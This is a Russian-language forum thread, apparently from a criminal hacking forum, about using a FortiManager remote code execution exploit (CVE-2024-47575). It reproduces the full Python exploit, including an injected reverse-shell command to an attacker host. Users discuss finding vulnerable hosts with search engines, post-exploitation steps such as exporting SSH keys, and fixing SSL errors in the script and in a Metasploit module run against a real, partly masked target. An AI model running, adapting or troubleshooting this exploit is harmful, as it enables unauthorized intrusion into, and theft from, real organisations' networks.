• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote RCE, FortiManager, CVE-2024-47575 aka FortiJump

KeyBit

RAID-массив
Забанен
Регистрация
27.10.2023
Сообщения
52
Реакции
4
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Эту кто то отработал? https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575 а то у меня вышел всего 1 ИП, может что то не правильно сделал при сканирование?

Python:
import socket
import struct
import ssl
import argparse
import random
from time import sleep



banner = """             __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
     \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
      \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
       \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
                  \\/          \\/     \\/                           

        CVE-2024-47575.py
        (*) FortiManager Unauthenticated Remote Code Execution (CVE-2024-47575) exploit by watchTowr
        
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-47575]
"""


print(banner)
parser = argparse.ArgumentParser(description='FortiManager CVE-2024-47575 exploit')
parser.add_argument('--target', type=str, help='Target IP', required=True)
parser.add_argument('--lhost', type=str, help='attacker IP', required=False, default='empty')
parser.add_argument('--lport', type=str, help='attacker PORT', required=False, default='empty')
parser.add_argument('--action', type=str, choices=['check', 'exploit'], help='Choose an action: "check" or "exploit"', required=True)
args = parser.parse_args()



if(args.action == "exploit"):
    if(args.lhost == 'empty' or args.lport == 'empty'):
        print("[ERROR] you got an error, because you chose the 'exploit' mode but didnt provide the '--lhost and --lport'")
        exit(1)


# print("[DEBUG] go and run the following command on your fortimanager -> tail -f /var/log/fdssvrd.log")
# input("press enter to continue")


request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n",b"\r\n")



request_auth=b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n",b"\r\n")




request_file_exchange = b"""get file_exchange
localid=REPLACE_LOCAL_ID
chan_window_sz=32768
deflate=gzip
file_exch_cmd=put_json_cmd

\0""".replace(b"\n", b"\r\n").replace(b"REPLACE_LOCAL_ID", str(random.randint(100,999)).encode())

json_payload = b"""{
    "method": "exec",
    "id": 1,
    "params": [
        {
            "url": "um/som/export",
            "data": {
               "file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`"
            }
        }
    ]
}""".replace(b"REPLACE_LHOST", args.lhost.encode()).replace(b"REPLACE_LPORT", args.lport.encode())
request_channel_open = b"""channel
remoteid=REPLACE_REMOTE_ID

\0""".replace(b"\n", b"\r\n")

request_channel_open += str(len(json_payload)).encode()
request_channel_open += b"\n"
request_channel_open += json_payload
request_channel_open += b"0\n"


request_channel_close = b"""channel
action=close
remoteid=REPLACE_REMOTE_ID

\0""".replace(b"\n", b"\r\n")


def sendmsg(socket, request, recv=True):
    message=struct.pack(">II", 0x36e01100, len(request)+8)+request
    socket.send(message)
    if(not recv):
        return
    hdr=socket.read(8)
    if len(hdr)!=8:
        return hdr
    magic, size=struct.unpack(">II", socket.read(8))
    return socket.read(size)


def create_ssl_sock():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin")  # Load the certificate and key
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    s = socket.create_connection(host, 30)
    ssl_sock = context.wrap_socket(s)
    return ssl_sock

def print_n_sleep(msg, s=0.4):
    print(msg)
    sleep(s)

host = (args.target, 541)

ssl_sock = create_ssl_sock()


response= sendmsg(ssl_sock, request_getip)
# print(response)



response= sendmsg(ssl_sock, request_auth)
# print(response)



response = sendmsg(ssl_sock, request_file_exchange)
remote_id = response.decode().split('\r\n')[1].split('=')[1].strip()

if(remote_id !=None):
    print(f"[VULN] Target is Vulnerable")
else:
    print(f"[SAFE] Target is Safe")
    exit(1)

if(args.action == "check"):
    exit(1)


request_channel_open = request_channel_open.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
response = sendmsg(ssl_sock, request_channel_open, False)

# print(response)



request_channel_close = request_channel_close.replace(b"REPLACE_REMOTE_ID", remote_id.encode())

response = sendmsg(ssl_sock, request_channel_close, True)
# print(response)
 
Последнее редактирование модератором:
Yeah maybe these could help?


 
Yeah maybe these could help?


yes, fofa.info is a great search engine but it's good to have a premium account to use it as it allows you to download files with more hosts.

i've never used hunter but i know it.
 
Интересно, в случае если я получил шел, какие мои дальнейшие действия? Возможно ли сделать dump активных сессий? или создать нового юзера?
Экспортируйте ключи SSH
 
Ребята никто не сталкивался с такой ошибкой ? Не могу понять в чём дело.
Код:
Traceback (most recent call last):
  File "CVE-2024-47575.py", line 163, in <module>
    ssl_sock = create_ssl_sock()
  File "CVE-2024-47575.py", line 154, in create_ssl_sock
    ssl_sock = context.wrap_socket(s)
  File "/usr/lib/python3.8/ssl.py", line 500, in wrap_socket
    return self.sslsocket_class._create(
  File "/usr/lib/python3.8/ssl.py", line 1069, in _create
    self.do_handshake()
  File "/usr/lib/python3.8/ssl.py", line 1338, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: UNEXPECTED_MESSAGE] unexpected message (_ssl.c:1145)
 
Ребята никто не сталкивался с такой ошибкой ? Не могу понять в чём дело.
Код:
Traceback (most recent call last):
  File "CVE-2024-47575.py", line 163, in <module>
    ssl_sock = create_ssl_sock()
  File "CVE-2024-47575.py", line 154, in create_ssl_sock
    ssl_sock = context.wrap_socket(s)
  File "/usr/lib/python3.8/ssl.py", line 500, in wrap_socket
    return self.sslsocket_class._create(
  File "/usr/lib/python3.8/ssl.py", line 1069, in _create
    self.do_handshake()
  File "/usr/lib/python3.8/ssl.py", line 1338, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: UNEXPECTED_MESSAGE] unexpected message (_ssl.c:1145)
Дело в SSL, то есть форти присылает тебе не тот ответ который ожидается, к примеру вместо ожидаемых "Я исполнил твою команду" он прислал "Нетворк информацион авелибл" ну примерно так. Обычно это связано с тем что нет поддержки ssl (попробуй просто http на порт 80) или просто соеденение защищено не стандартно, в таком случае нужно тестить, к примеру context.check_hostname=False и context.verify_mode=ssl.CERT_NONE, надеюсь помог
 
ну если он кастомный - то тут все бесполезно, а так тебе просто проверку ssl надо отключить в самом сплоите, но как варик стукнуть на порт без ssl (http)
сейчас сертбот выдает сертификат помоему максимум на 90 дней, поэтому если не обновлять то 3 месяца и будет алерт, щас большинство сайтов такие где админ раз в год бывает
 
ну если сплоит один то давай разберемс
Python:
def create_ssl_sock():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin")  # Load the certificate and key
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    s = socket.create_connection(host, 30)
    ssl_sock = context.wrap_socket(s)
    return ssl_sock

в бинах как я понял идет просто набор байт, ну также как в .серт .пем сертах

падать может
1) из-за несовпадения ТЛС версии
2) изза наших кастомных сертификатов, которые могут не прокатывать
“unexpected_message” = несовпадение этапов TLS-handshake.

можно конечно это все дело проверить через
openssl x509 -in w00t_cert.bin -text -noout
openssl rsa -in w00t_key.bin -check

но изза уязвимостей в х.509 протокоооле я этого делать не буду))
еще бывают внутренние капризы самих опенссл и питонов поэтому надо юзать пем и серт
openssl x509 -inform der -in w00t_cert.bin -out cert.pem
openssl rsa -inform der -in w00t_key.bin -out key.pem
ну и в коде собсна
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")

работа проще будет через мсф, темболее сплоит добавлен в него

https://github.com/rapid7/metasploi...linux/misc/fortimanager_rce_cve_2024_47575.rb
Код:
msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options

Module options (exploit/linux/misc/fortimanager_rce_cve_2024_47575):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   CHOST                                no        The local client address
   CPORT                                no        The local client port
   ClientCert                           no        A file path to an x509 cert, signed by Fortinet, w
                                                  ith a serial number in the CN
   ClientKey                            no        A file path to the corresponding private key for t
                                                  he ClientCert.
   ClientPlatform                       no        If set, use this platform instead of determining t
                                                  he platform at runtime.
   ClientSerialNumber                   no        If set, use this serial number instead of extracti
                                                  ng one from the ClientCert.
   Proxies                              no        A proxy chain of format type:host:port[,type:host:
                                                  port][...]
   RHOSTS                               yes       The target host(s), see https://docs.metasploit.co
                                                  m/docs/using-metasploit/basics/using-metasploit.ht
                                                  ml
   RPORT               541              yes       The target port (TCP)


Payload options (cmd/linux/http/aarch64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, T
                                              NFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  false            yes       Attempt to run payload without touching disk, Linux ≥3
                                              .17 only
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           ,ля)   yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_FILELESS is false:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      BtawQHDpUWF      no        Name to use on remote system when storing payload;
                                                   cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot conta
                                                  in spaces
 
пробовал я metasploit тоже выдаёт ошибку SSL

Код:
msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > run
[*] Started reverse TCP handler on 98.ххх.ххх.ххх:4545
[*] 114.ххх.ххх.ххх:541 - Client certificate common name: FMG-VM0000000000
[*] 114.ххх.ххх.ххх:541 - Using client serial number 'FMG-VM0000000000' and platform 'FortiManager-VM64'.
[*] 114.ххх.ххх.ххх:541 - Connecting...
[-] 114.ххх.ххх.ххх:541 - Exploit failed [unreachable]: OpenSSL::SSL::SSLError SSL_connect returned=1 errno=0 peeraddr=114.ххх.ххх.ххх:541 state=error: unexpected message
[*] Exploit completed, but no session was created.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх